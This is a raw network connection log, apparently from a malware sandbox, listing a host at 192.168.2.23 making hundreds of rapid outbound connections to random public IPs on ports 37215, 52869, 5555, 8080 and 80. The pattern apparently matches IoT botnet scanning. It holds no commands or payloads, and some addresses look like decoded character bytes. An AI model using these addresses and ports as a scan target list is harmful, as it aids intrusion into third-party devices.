Feb 12, 2023 21:24:32.912487030 CET	55094	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:32.912559986 CET	54338	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:33.024270058 CET	59484	8080	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:33.052288055 CET	46054	8080	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:33.074419975 CET	51256	8080	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:33.108421087 CET	36046	8080	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:33.154756069 CET	47824	8080	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:33.188592911 CET	53400	8080	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:33.200509071 CET	46414	80	192.168.2.23	56.56.46.55
Feb 12, 2023 21:24:33.200516939 CET	35094	80	192.168.2.23	52.49.46.54
Feb 12, 2023 21:24:33.219156981 CET	45916	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:33.232450008 CET	48206	80	192.168.2.23	56.56.46.49
Feb 12, 2023 21:24:33.232458115 CET	47984	80	192.168.2.23	52.50.46.49
Feb 12, 2023 21:24:33.232532978 CET	54672	80	192.168.2.23	51.55.46.49
Feb 12, 2023 21:24:33.236905098 CET	51428	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:33.268657923 CET	43862	8080	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:33.311875105 CET	57268	8080	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:33.552442074 CET	47214	52869	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:33.572463989 CET	52981	37215	192.168.2.23	157.114.223.0
Feb 12, 2023 21:24:33.572511911 CET	52981	37215	192.168.2.23	197.147.177.128
Feb 12, 2023 21:24:33.572513103 CET	52981	37215	192.168.2.23	197.202.82.46
Feb 12, 2023 21:24:33.572513103 CET	52981	37215	192.168.2.23	41.6.251.31
Feb 12, 2023 21:24:33.572524071 CET	52981	37215	192.168.2.23	197.105.33.82
Feb 12, 2023 21:24:33.572526932 CET	52981	37215	192.168.2.23	212.208.183.101
Feb 12, 2023 21:24:33.572537899 CET	52981	37215	192.168.2.23	197.244.176.39
Feb 12, 2023 21:24:33.572546005 CET	52981	37215	192.168.2.23	157.173.44.95
Feb 12, 2023 21:24:33.572582006 CET	52981	37215	192.168.2.23	41.37.172.164
Feb 12, 2023 21:24:33.572597027 CET	52981	37215	192.168.2.23	41.203.108.109
Feb 12, 2023 21:24:33.572597027 CET	52981	37215	192.168.2.23	197.32.255.13
Feb 12, 2023 21:24:33.572624922 CET	52981	37215	192.168.2.23	197.217.112.62
Feb 12, 2023 21:24:33.572637081 CET	52981	37215	192.168.2.23	197.88.163.159
Feb 12, 2023 21:24:33.572648048 CET	52981	37215	192.168.2.23	41.245.174.101
Feb 12, 2023 21:24:33.572648048 CET	52981	37215	192.168.2.23	41.156.220.13
Feb 12, 2023 21:24:33.572649002 CET	52981	37215	192.168.2.23	41.219.90.95
Feb 12, 2023 21:24:33.572659016 CET	52981	37215	192.168.2.23	41.23.97.195
Feb 12, 2023 21:24:33.572684050 CET	52981	37215	192.168.2.23	157.96.88.58
Feb 12, 2023 21:24:33.572691917 CET	52981	37215	192.168.2.23	23.166.186.183
Feb 12, 2023 21:24:33.572701931 CET	52981	37215	192.168.2.23	157.79.204.146
Feb 12, 2023 21:24:33.572712898 CET	52981	37215	192.168.2.23	157.37.16.166
Feb 12, 2023 21:24:33.572727919 CET	52981	37215	192.168.2.23	61.139.5.5
Feb 12, 2023 21:24:33.572737932 CET	52981	37215	192.168.2.23	41.13.104.15
Feb 12, 2023 21:24:33.572738886 CET	52981	37215	192.168.2.23	197.232.44.79
Feb 12, 2023 21:24:33.572752953 CET	52981	37215	192.168.2.23	197.157.0.26
Feb 12, 2023 21:24:33.572772980 CET	52981	37215	192.168.2.23	197.87.52.196
Feb 12, 2023 21:24:33.572777987 CET	52981	37215	192.168.2.23	23.100.199.253
Feb 12, 2023 21:24:33.572804928 CET	52981	37215	192.168.2.23	157.96.199.156
Feb 12, 2023 21:24:33.572807074 CET	52981	37215	192.168.2.23	41.40.133.81
Feb 12, 2023 21:24:33.572834969 CET	52981	37215	192.168.2.23	197.27.140.92
Feb 12, 2023 21:24:33.572834969 CET	52981	37215	192.168.2.23	197.62.220.129
Feb 12, 2023 21:24:33.572841883 CET	52981	37215	192.168.2.23	87.252.100.229
Feb 12, 2023 21:24:33.572854996 CET	52981	37215	192.168.2.23	157.112.170.38
Feb 12, 2023 21:24:33.572854996 CET	52981	37215	192.168.2.23	60.209.73.182
Feb 12, 2023 21:24:33.572880030 CET	52981	37215	192.168.2.23	157.225.80.44
Feb 12, 2023 21:24:33.572889090 CET	52981	37215	192.168.2.23	153.102.65.191
Feb 12, 2023 21:24:33.572910070 CET	52981	37215	192.168.2.23	157.137.218.38
Feb 12, 2023 21:24:33.572911978 CET	52981	37215	192.168.2.23	197.80.112.45
Feb 12, 2023 21:24:33.572922945 CET	52981	37215	192.168.2.23	157.39.144.53
Feb 12, 2023 21:24:33.572931051 CET	52981	37215	192.168.2.23	41.107.65.10
Feb 12, 2023 21:24:33.572946072 CET	52981	37215	192.168.2.23	105.131.28.6
Feb 12, 2023 21:24:33.572963953 CET	52981	37215	192.168.2.23	41.203.246.223
Feb 12, 2023 21:24:33.572968960 CET	52981	37215	192.168.2.23	48.164.151.103
Feb 12, 2023 21:24:33.572989941 CET	52981	37215	192.168.2.23	157.205.223.82
Feb 12, 2023 21:24:33.572993994 CET	52981	37215	192.168.2.23	157.237.24.48
Feb 12, 2023 21:24:33.573013067 CET	52981	37215	192.168.2.23	5.198.172.185
Feb 12, 2023 21:24:33.573031902 CET	52981	37215	192.168.2.23	197.198.43.116
Feb 12, 2023 21:24:33.573033094 CET	52981	37215	192.168.2.23	197.248.126.180
Feb 12, 2023 21:24:33.573055029 CET	52981	37215	192.168.2.23	197.136.126.209
Feb 12, 2023 21:24:33.573055029 CET	52981	37215	192.168.2.23	41.95.211.51
Feb 12, 2023 21:24:33.573088884 CET	52981	37215	192.168.2.23	41.135.221.84
Feb 12, 2023 21:24:33.573091030 CET	52981	37215	192.168.2.23	157.96.55.156
Feb 12, 2023 21:24:33.573091030 CET	52981	37215	192.168.2.23	197.195.146.64
Feb 12, 2023 21:24:33.573095083 CET	52981	37215	192.168.2.23	41.97.228.116
Feb 12, 2023 21:24:33.573101044 CET	52981	37215	192.168.2.23	41.255.21.152
Feb 12, 2023 21:24:33.573106050 CET	52981	37215	192.168.2.23	157.217.9.69
Feb 12, 2023 21:24:33.573115110 CET	52981	37215	192.168.2.23	41.58.63.153
Feb 12, 2023 21:24:33.573128939 CET	52981	37215	192.168.2.23	41.152.244.153
Feb 12, 2023 21:24:33.573133945 CET	52981	37215	192.168.2.23	157.251.133.37
Feb 12, 2023 21:24:33.573168993 CET	52981	37215	192.168.2.23	63.180.253.58
Feb 12, 2023 21:24:33.573168993 CET	52981	37215	192.168.2.23	41.61.213.84
Feb 12, 2023 21:24:33.573195934 CET	52981	37215	192.168.2.23	74.208.34.30
Feb 12, 2023 21:24:33.573195934 CET	52981	37215	192.168.2.23	197.31.118.92
Feb 12, 2023 21:24:33.573195934 CET	52981	37215	192.168.2.23	41.213.184.58
Feb 12, 2023 21:24:33.573204041 CET	52981	37215	192.168.2.23	197.211.83.181
Feb 12, 2023 21:24:33.573220968 CET	52981	37215	192.168.2.23	34.208.64.162
Feb 12, 2023 21:24:33.573240995 CET	52981	37215	192.168.2.23	197.93.186.99
Feb 12, 2023 21:24:33.573252916 CET	52981	37215	192.168.2.23	139.222.215.183
Feb 12, 2023 21:24:33.573252916 CET	52981	37215	192.168.2.23	157.194.54.114
Feb 12, 2023 21:24:33.573268890 CET	52981	37215	192.168.2.23	185.80.120.242
Feb 12, 2023 21:24:33.573270082 CET	52981	37215	192.168.2.23	157.31.41.38
Feb 12, 2023 21:24:33.573270082 CET	52981	37215	192.168.2.23	41.252.170.77
Feb 12, 2023 21:24:33.573291063 CET	52981	37215	192.168.2.23	197.190.195.48
Feb 12, 2023 21:24:33.573292971 CET	52981	37215	192.168.2.23	197.236.85.181
Feb 12, 2023 21:24:33.573306084 CET	52981	37215	192.168.2.23	197.91.111.100
Feb 12, 2023 21:24:33.573312044 CET	52981	37215	192.168.2.23	41.196.31.217
Feb 12, 2023 21:24:33.573327065 CET	52981	37215	192.168.2.23	41.112.61.76
Feb 12, 2023 21:24:33.573349953 CET	52981	37215	192.168.2.23	41.214.66.200
Feb 12, 2023 21:24:33.573369980 CET	52981	37215	192.168.2.23	123.127.197.231
Feb 12, 2023 21:24:33.573400974 CET	52981	37215	192.168.2.23	197.162.200.2
Feb 12, 2023 21:24:33.573404074 CET	52981	37215	192.168.2.23	157.211.109.174
Feb 12, 2023 21:24:33.573404074 CET	52981	37215	192.168.2.23	41.116.85.248
Feb 12, 2023 21:24:33.573431969 CET	52981	37215	192.168.2.23	197.48.9.11
Feb 12, 2023 21:24:33.573440075 CET	52981	37215	192.168.2.23	157.250.128.244
Feb 12, 2023 21:24:33.573440075 CET	52981	37215	192.168.2.23	157.125.96.240
Feb 12, 2023 21:24:33.573443890 CET	52981	37215	192.168.2.23	157.120.42.99
Feb 12, 2023 21:24:33.573446989 CET	52981	37215	192.168.2.23	157.243.7.185
Feb 12, 2023 21:24:33.573456049 CET	52981	37215	192.168.2.23	41.46.208.32
Feb 12, 2023 21:24:33.573478937 CET	52981	37215	192.168.2.23	197.48.223.10
Feb 12, 2023 21:24:33.573483944 CET	52981	37215	192.168.2.23	83.248.69.17
Feb 12, 2023 21:24:33.573492050 CET	52981	37215	192.168.2.23	41.230.198.228
Feb 12, 2023 21:24:33.573493004 CET	52981	37215	192.168.2.23	41.26.162.244
Feb 12, 2023 21:24:33.573518038 CET	52981	37215	192.168.2.23	172.43.167.94
Feb 12, 2023 21:24:33.573523045 CET	52981	37215	192.168.2.23	197.197.89.4
Feb 12, 2023 21:24:33.573544025 CET	52981	37215	192.168.2.23	41.185.79.161
Feb 12, 2023 21:24:33.573548079 CET	52981	37215	192.168.2.23	98.194.147.56
Feb 12, 2023 21:24:33.573586941 CET	52981	37215	192.168.2.23	41.176.0.37
Feb 12, 2023 21:24:33.573587894 CET	52981	37215	192.168.2.23	197.36.255.116
Feb 12, 2023 21:24:33.573592901 CET	52981	37215	192.168.2.23	197.9.25.249
Feb 12, 2023 21:24:33.573592901 CET	52981	37215	192.168.2.23	89.61.61.94
Feb 12, 2023 21:24:33.573606014 CET	52981	37215	192.168.2.23	41.114.69.102
Feb 12, 2023 21:24:33.573615074 CET	52981	37215	192.168.2.23	197.37.244.7
Feb 12, 2023 21:24:33.573622942 CET	52981	37215	192.168.2.23	169.167.182.111
Feb 12, 2023 21:24:33.573622942 CET	52981	37215	192.168.2.23	118.60.230.122
Feb 12, 2023 21:24:33.573630095 CET	52981	37215	192.168.2.23	92.172.70.232
Feb 12, 2023 21:24:33.573630095 CET	52981	37215	192.168.2.23	157.247.62.167
Feb 12, 2023 21:24:33.573637009 CET	52981	37215	192.168.2.23	197.63.194.34
Feb 12, 2023 21:24:33.573652983 CET	52981	37215	192.168.2.23	157.175.243.55
Feb 12, 2023 21:24:33.573661089 CET	52981	37215	192.168.2.23	90.178.233.217
Feb 12, 2023 21:24:33.573662043 CET	52981	37215	192.168.2.23	41.47.33.46
Feb 12, 2023 21:24:33.573662043 CET	52981	37215	192.168.2.23	41.154.96.157
Feb 12, 2023 21:24:33.573662043 CET	52981	37215	192.168.2.23	41.160.152.217
Feb 12, 2023 21:24:33.573662043 CET	52981	37215	192.168.2.23	174.66.253.110
Feb 12, 2023 21:24:33.573667049 CET	52981	37215	192.168.2.23	41.132.87.38
Feb 12, 2023 21:24:33.573667049 CET	52981	37215	192.168.2.23	197.154.75.14
Feb 12, 2023 21:24:33.573668003 CET	52981	37215	192.168.2.23	197.178.134.232
Feb 12, 2023 21:24:33.573668003 CET	52981	37215	192.168.2.23	162.156.108.129
Feb 12, 2023 21:24:33.573668003 CET	52981	37215	192.168.2.23	41.56.117.1
Feb 12, 2023 21:24:33.573674917 CET	52981	37215	192.168.2.23	197.152.55.42
Feb 12, 2023 21:24:33.573668003 CET	52981	37215	192.168.2.23	157.213.15.26
Feb 12, 2023 21:24:33.573674917 CET	52981	37215	192.168.2.23	195.4.5.223
Feb 12, 2023 21:24:33.573693991 CET	52981	37215	192.168.2.23	41.112.106.13
Feb 12, 2023 21:24:33.573709011 CET	52981	37215	192.168.2.23	197.190.191.168
Feb 12, 2023 21:24:33.573709011 CET	52981	37215	192.168.2.23	157.44.86.102
Feb 12, 2023 21:24:33.573714972 CET	52981	37215	192.168.2.23	197.11.209.106
Feb 12, 2023 21:24:33.573729038 CET	52981	37215	192.168.2.23	197.77.111.35
Feb 12, 2023 21:24:33.573775053 CET	52981	37215	192.168.2.23	157.177.104.4
Feb 12, 2023 21:24:33.573780060 CET	52981	37215	192.168.2.23	157.94.234.226
Feb 12, 2023 21:24:33.573791981 CET	52981	37215	192.168.2.23	41.161.121.223
Feb 12, 2023 21:24:33.573791981 CET	52981	37215	192.168.2.23	197.102.127.160
Feb 12, 2023 21:24:33.573791981 CET	52981	37215	192.168.2.23	157.184.106.207
Feb 12, 2023 21:24:33.573807001 CET	52981	37215	192.168.2.23	197.109.221.122
Feb 12, 2023 21:24:33.573807001 CET	52981	37215	192.168.2.23	206.63.85.159
Feb 12, 2023 21:24:33.573816061 CET	52981	37215	192.168.2.23	195.176.170.18
Feb 12, 2023 21:24:33.573847055 CET	52981	37215	192.168.2.23	157.142.75.199
Feb 12, 2023 21:24:33.573848009 CET	52981	37215	192.168.2.23	197.76.248.208
Feb 12, 2023 21:24:33.573856115 CET	52981	37215	192.168.2.23	110.252.170.110
Feb 12, 2023 21:24:33.573781013 CET	52981	37215	192.168.2.23	157.128.235.94
Feb 12, 2023 21:24:33.573887110 CET	52981	37215	192.168.2.23	157.188.28.232
Feb 12, 2023 21:24:33.573895931 CET	52981	37215	192.168.2.23	41.67.150.222
Feb 12, 2023 21:24:33.573915005 CET	52981	37215	192.168.2.23	157.98.6.186
Feb 12, 2023 21:24:33.573916912 CET	52981	37215	192.168.2.23	41.42.202.82
Feb 12, 2023 21:24:33.573929071 CET	52981	37215	192.168.2.23	167.79.9.255
Feb 12, 2023 21:24:33.573941946 CET	52981	37215	192.168.2.23	41.148.162.179
Feb 12, 2023 21:24:33.573944092 CET	52981	37215	192.168.2.23	41.246.67.102
Feb 12, 2023 21:24:33.573944092 CET	52981	37215	192.168.2.23	41.48.115.120
Feb 12, 2023 21:24:33.573966980 CET	52981	37215	192.168.2.23	157.31.212.52
Feb 12, 2023 21:24:33.573966980 CET	52981	37215	192.168.2.23	141.161.201.194
Feb 12, 2023 21:24:33.573968887 CET	52981	37215	192.168.2.23	41.143.111.211
Feb 12, 2023 21:24:33.573971033 CET	52981	37215	192.168.2.23	41.139.83.108
Feb 12, 2023 21:24:33.573982954 CET	52981	37215	192.168.2.23	197.113.99.118
Feb 12, 2023 21:24:33.573987007 CET	52981	37215	192.168.2.23	197.213.232.95
Feb 12, 2023 21:24:33.573997021 CET	52981	37215	192.168.2.23	157.230.245.99
Feb 12, 2023 21:24:33.573997974 CET	52981	37215	192.168.2.23	197.127.171.251
Feb 12, 2023 21:24:33.574023008 CET	52981	37215	192.168.2.23	125.78.60.133
Feb 12, 2023 21:24:33.574024916 CET	52981	37215	192.168.2.23	157.129.231.1
Feb 12, 2023 21:24:33.574024916 CET	52981	37215	192.168.2.23	34.151.53.71
Feb 12, 2023 21:24:33.574033976 CET	52981	37215	192.168.2.23	157.163.232.11
Feb 12, 2023 21:24:33.574050903 CET	52981	37215	192.168.2.23	41.83.183.212
Feb 12, 2023 21:24:33.574053049 CET	52981	37215	192.168.2.23	212.1.255.142
Feb 12, 2023 21:24:33.574074984 CET	52981	37215	192.168.2.23	197.189.47.87
Feb 12, 2023 21:24:33.574089050 CET	52981	37215	192.168.2.23	41.8.232.140
Feb 12, 2023 21:24:33.574098110 CET	52981	37215	192.168.2.23	180.79.143.45
Feb 12, 2023 21:24:33.574099064 CET	52981	37215	192.168.2.23	41.24.74.246
Feb 12, 2023 21:24:33.574103117 CET	52981	37215	192.168.2.23	41.2.54.231
Feb 12, 2023 21:24:33.574106932 CET	52981	37215	192.168.2.23	197.110.203.17
Feb 12, 2023 21:24:33.574106932 CET	52981	37215	192.168.2.23	35.10.11.69
Feb 12, 2023 21:24:33.574115038 CET	52981	37215	192.168.2.23	197.170.164.3
Feb 12, 2023 21:24:33.574141026 CET	52981	37215	192.168.2.23	157.130.72.72
Feb 12, 2023 21:24:33.574142933 CET	52981	37215	192.168.2.23	197.62.80.91
Feb 12, 2023 21:24:33.574157953 CET	52981	37215	192.168.2.23	41.216.152.223
Feb 12, 2023 21:24:33.574168921 CET	52981	37215	192.168.2.23	137.95.128.7
Feb 12, 2023 21:24:33.574209929 CET	52981	37215	192.168.2.23	41.90.7.159
Feb 12, 2023 21:24:33.574209929 CET	52981	37215	192.168.2.23	41.198.164.87
Feb 12, 2023 21:24:33.574217081 CET	52981	37215	192.168.2.23	93.135.134.158
Feb 12, 2023 21:24:33.574223042 CET	52981	37215	192.168.2.23	157.80.249.141
Feb 12, 2023 21:24:33.574228048 CET	52981	37215	192.168.2.23	41.161.138.216
Feb 12, 2023 21:24:33.574250937 CET	52981	37215	192.168.2.23	157.15.85.125
Feb 12, 2023 21:24:33.574258089 CET	52981	37215	192.168.2.23	41.100.215.59
Feb 12, 2023 21:24:33.574266911 CET	52981	37215	192.168.2.23	41.177.162.178
Feb 12, 2023 21:24:33.574274063 CET	52981	37215	192.168.2.23	157.42.51.206
Feb 12, 2023 21:24:33.574276924 CET	52981	37215	192.168.2.23	144.120.45.242
Feb 12, 2023 21:24:33.574280024 CET	52981	37215	192.168.2.23	41.225.176.151
Feb 12, 2023 21:24:33.574276924 CET	52981	37215	192.168.2.23	157.36.206.96
Feb 12, 2023 21:24:33.574276924 CET	52981	37215	192.168.2.23	157.233.191.28
Feb 12, 2023 21:24:33.574294090 CET	52981	37215	192.168.2.23	41.18.143.9
Feb 12, 2023 21:24:33.574317932 CET	52981	37215	192.168.2.23	197.241.73.76
Feb 12, 2023 21:24:33.574317932 CET	52981	37215	192.168.2.23	197.69.182.23
Feb 12, 2023 21:24:33.574342012 CET	52981	37215	192.168.2.23	107.250.89.31
Feb 12, 2023 21:24:33.574342012 CET	52981	37215	192.168.2.23	197.124.174.32
Feb 12, 2023 21:24:33.574347019 CET	52981	37215	192.168.2.23	197.160.27.102
Feb 12, 2023 21:24:33.574348927 CET	52981	37215	192.168.2.23	41.79.220.62
Feb 12, 2023 21:24:33.574350119 CET	52981	37215	192.168.2.23	153.176.191.49
Feb 12, 2023 21:24:33.574354887 CET	52981	37215	192.168.2.23	41.188.13.198
Feb 12, 2023 21:24:33.574373960 CET	52981	37215	192.168.2.23	197.55.191.242
Feb 12, 2023 21:24:33.574377060 CET	52981	37215	192.168.2.23	44.49.0.179
Feb 12, 2023 21:24:33.574395895 CET	52981	37215	192.168.2.23	41.162.221.127
Feb 12, 2023 21:24:33.574407101 CET	52981	37215	192.168.2.23	172.161.200.0
Feb 12, 2023 21:24:33.574417114 CET	52981	37215	192.168.2.23	41.178.109.84
Feb 12, 2023 21:24:33.574421883 CET	52981	37215	192.168.2.23	157.109.74.99
Feb 12, 2023 21:24:33.574429989 CET	52981	37215	192.168.2.23	64.189.21.24
Feb 12, 2023 21:24:33.574429989 CET	52981	37215	192.168.2.23	41.47.157.15
Feb 12, 2023 21:24:33.574429989 CET	52981	37215	192.168.2.23	41.58.220.101
Feb 12, 2023 21:24:33.574434996 CET	52981	37215	192.168.2.23	157.132.141.33
Feb 12, 2023 21:24:33.574434996 CET	52981	37215	192.168.2.23	41.194.178.89
Feb 12, 2023 21:24:33.574434996 CET	52981	37215	192.168.2.23	157.220.200.151
Feb 12, 2023 21:24:33.574446917 CET	52981	37215	192.168.2.23	157.151.39.1
Feb 12, 2023 21:24:33.574486017 CET	52981	37215	192.168.2.23	157.206.44.163
Feb 12, 2023 21:24:33.574500084 CET	52981	37215	192.168.2.23	197.134.124.189
Feb 12, 2023 21:24:33.574501991 CET	52981	37215	192.168.2.23	197.103.221.189
Feb 12, 2023 21:24:33.574503899 CET	52981	37215	192.168.2.23	197.38.213.38
Feb 12, 2023 21:24:33.574518919 CET	52981	37215	192.168.2.23	41.16.202.243
Feb 12, 2023 21:24:33.574522972 CET	52981	37215	192.168.2.23	99.91.83.124
Feb 12, 2023 21:24:33.574537039 CET	52981	37215	192.168.2.23	157.126.39.77
Feb 12, 2023 21:24:33.574558973 CET	52981	37215	192.168.2.23	41.177.131.253
Feb 12, 2023 21:24:33.574561119 CET	52981	37215	192.168.2.23	197.79.134.0
Feb 12, 2023 21:24:33.574568987 CET	52981	37215	192.168.2.23	41.227.201.56
Feb 12, 2023 21:24:33.574579000 CET	52981	37215	192.168.2.23	41.252.167.183
Feb 12, 2023 21:24:33.574588060 CET	52981	37215	192.168.2.23	197.171.222.250
Feb 12, 2023 21:24:33.574601889 CET	52981	37215	192.168.2.23	41.180.250.54
Feb 12, 2023 21:24:33.574614048 CET	52981	37215	192.168.2.23	41.180.11.127
Feb 12, 2023 21:24:33.574629068 CET	52981	37215	192.168.2.23	197.216.161.61
Feb 12, 2023 21:24:33.574640036 CET	52981	37215	192.168.2.23	41.227.184.181
Feb 12, 2023 21:24:33.574645042 CET	52981	37215	192.168.2.23	41.84.164.225
Feb 12, 2023 21:24:33.574659109 CET	52981	37215	192.168.2.23	113.11.245.92
Feb 12, 2023 21:24:33.574668884 CET	52981	37215	192.168.2.23	41.211.129.192
Feb 12, 2023 21:24:33.574677944 CET	52981	37215	192.168.2.23	41.28.210.52
Feb 12, 2023 21:24:33.574685097 CET	52981	37215	192.168.2.23	41.40.32.203
Feb 12, 2023 21:24:33.574685097 CET	52981	37215	192.168.2.23	157.27.208.205
Feb 12, 2023 21:24:33.574686050 CET	52981	37215	192.168.2.23	157.194.87.130
Feb 12, 2023 21:24:33.574704885 CET	52981	37215	192.168.2.23	41.119.49.88
Feb 12, 2023 21:24:33.574732065 CET	52981	37215	192.168.2.23	25.74.143.110
Feb 12, 2023 21:24:33.574732065 CET	52981	37215	192.168.2.23	197.162.82.7
Feb 12, 2023 21:24:33.574748993 CET	52981	37215	192.168.2.23	157.177.136.246
Feb 12, 2023 21:24:33.574759960 CET	52981	37215	192.168.2.23	172.175.97.9
Feb 12, 2023 21:24:33.574765921 CET	52981	37215	192.168.2.23	157.177.149.137
Feb 12, 2023 21:24:33.574765921 CET	52981	37215	192.168.2.23	41.196.35.133
Feb 12, 2023 21:24:33.574780941 CET	52981	37215	192.168.2.23	77.153.43.202
Feb 12, 2023 21:24:33.574794054 CET	52981	37215	192.168.2.23	41.50.174.43
Feb 12, 2023 21:24:33.574806929 CET	52981	37215	192.168.2.23	41.161.105.190
Feb 12, 2023 21:24:33.574810028 CET	52981	37215	192.168.2.23	134.224.45.231
Feb 12, 2023 21:24:33.574811935 CET	52981	37215	192.168.2.23	197.67.235.97
Feb 12, 2023 21:24:33.574825048 CET	52981	37215	192.168.2.23	157.156.241.148
Feb 12, 2023 21:24:33.574839115 CET	52981	37215	192.168.2.23	97.234.17.172
Feb 12, 2023 21:24:33.574860096 CET	52981	37215	192.168.2.23	202.11.212.228
Feb 12, 2023 21:24:33.574860096 CET	52981	37215	192.168.2.23	41.149.174.223
Feb 12, 2023 21:24:33.574860096 CET	52981	37215	192.168.2.23	85.7.138.5
Feb 12, 2023 21:24:33.574872971 CET	52981	37215	192.168.2.23	181.57.126.152
Feb 12, 2023 21:24:33.574884892 CET	52981	37215	192.168.2.23	157.3.140.20
Feb 12, 2023 21:24:33.574887037 CET	52981	37215	192.168.2.23	72.227.15.193
Feb 12, 2023 21:24:33.574914932 CET	52981	37215	192.168.2.23	197.209.254.238
Feb 12, 2023 21:24:33.574939013 CET	52981	37215	192.168.2.23	157.222.217.110
Feb 12, 2023 21:24:33.574939013 CET	52981	37215	192.168.2.23	41.103.43.104
Feb 12, 2023 21:24:33.574944019 CET	52981	37215	192.168.2.23	41.57.136.176
Feb 12, 2023 21:24:33.574981928 CET	52981	37215	192.168.2.23	157.143.78.171
Feb 12, 2023 21:24:33.574990034 CET	52981	37215	192.168.2.23	157.34.142.183
Feb 12, 2023 21:24:33.584430933 CET	40798	52869	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:33.584454060 CET	57702	52869	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:33.587610960 CET	22272	5555	192.168.2.23	1.139.25.20
Feb 12, 2023 21:24:33.587626934 CET	22272	5555	192.168.2.23	42.23.204.94
Feb 12, 2023 21:24:33.587631941 CET	22272	5555	192.168.2.23	165.241.157.22
Feb 12, 2023 21:24:33.587626934 CET	22272	5555	192.168.2.23	170.133.48.65
Feb 12, 2023 21:24:33.587646008 CET	22272	5555	192.168.2.23	122.25.45.87
Feb 12, 2023 21:24:33.587655067 CET	22272	5555	192.168.2.23	194.102.86.135
Feb 12, 2023 21:24:33.587661028 CET	22272	5555	192.168.2.23	182.79.217.56
Feb 12, 2023 21:24:33.587661028 CET	22272	5555	192.168.2.23	136.215.213.31
Feb 12, 2023 21:24:33.587665081 CET	22272	5555	192.168.2.23	59.124.219.13
Feb 12, 2023 21:24:33.587701082 CET	22272	5555	192.168.2.23	210.190.2.185
Feb 12, 2023 21:24:33.587707996 CET	22272	5555	192.168.2.23	188.152.241.171
Feb 12, 2023 21:24:33.587711096 CET	22272	5555	192.168.2.23	169.182.108.114
Feb 12, 2023 21:24:33.587711096 CET	22272	5555	192.168.2.23	57.175.226.14
Feb 12, 2023 21:24:33.587712049 CET	22272	5555	192.168.2.23	73.154.85.70
Feb 12, 2023 21:24:33.587711096 CET	22272	5555	192.168.2.23	141.151.215.8
Feb 12, 2023 21:24:33.587713003 CET	22272	5555	192.168.2.23	34.71.136.165
Feb 12, 2023 21:24:33.587712049 CET	22272	5555	192.168.2.23	61.40.130.1
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	27.130.233.152
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	106.161.130.129
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	97.195.100.30
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	45.101.110.221
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	14.255.158.34
Feb 12, 2023 21:24:33.587719917 CET	22272	5555	192.168.2.23	141.70.205.50
Feb 12, 2023 21:24:33.587727070 CET	22272	5555	192.168.2.23	125.127.217.122
Feb 12, 2023 21:24:33.587750912 CET	22272	5555	192.168.2.23	200.161.159.9
Feb 12, 2023 21:24:33.587758064 CET	22272	5555	192.168.2.23	100.221.69.190
Feb 12, 2023 21:24:33.587758064 CET	22272	5555	192.168.2.23	169.48.226.239
Feb 12, 2023 21:24:33.587762117 CET	22272	5555	192.168.2.23	180.193.99.244
Feb 12, 2023 21:24:33.587762117 CET	22272	5555	192.168.2.23	108.135.154.183
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	149.208.140.88
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	148.248.132.109
Feb 12, 2023 21:24:33.587781906 CET	22272	5555	192.168.2.23	36.145.60.51
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	189.135.155.176
Feb 12, 2023 21:24:33.587781906 CET	22272	5555	192.168.2.23	197.144.107.158
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	130.153.31.0
Feb 12, 2023 21:24:33.587781906 CET	22272	5555	192.168.2.23	212.61.220.65
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	74.237.151.2
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	159.18.120.131
Feb 12, 2023 21:24:33.587779999 CET	22272	5555	192.168.2.23	135.1.206.148
Feb 12, 2023 21:24:33.587807894 CET	22272	5555	192.168.2.23	117.58.88.27
Feb 12, 2023 21:24:33.587807894 CET	22272	5555	192.168.2.23	172.9.179.186
Feb 12, 2023 21:24:33.587821007 CET	22272	5555	192.168.2.23	198.224.100.232
Feb 12, 2023 21:24:33.587821007 CET	22272	5555	192.168.2.23	97.84.37.119
Feb 12, 2023 21:24:33.587821007 CET	22272	5555	192.168.2.23	9.40.57.234
Feb 12, 2023 21:24:33.587821007 CET	22272	5555	192.168.2.23	119.159.163.218
Feb 12, 2023 21:24:33.587830067 CET	22272	5555	192.168.2.23	111.235.160.150
Feb 12, 2023 21:24:33.587830067 CET	22272	5555	192.168.2.23	182.209.151.53
Feb 12, 2023 21:24:33.587836027 CET	22272	5555	192.168.2.23	69.233.185.15
Feb 12, 2023 21:24:33.587836981 CET	22272	5555	192.168.2.23	1.231.74.11
Feb 12, 2023 21:24:33.587838888 CET	22272	5555	192.168.2.23	14.242.254.41
Feb 12, 2023 21:24:33.587838888 CET	22272	5555	192.168.2.23	218.212.155.133
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	181.235.128.224
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	102.113.183.133
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	78.83.95.50
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	146.109.142.123
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	156.210.168.132
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	50.132.220.221
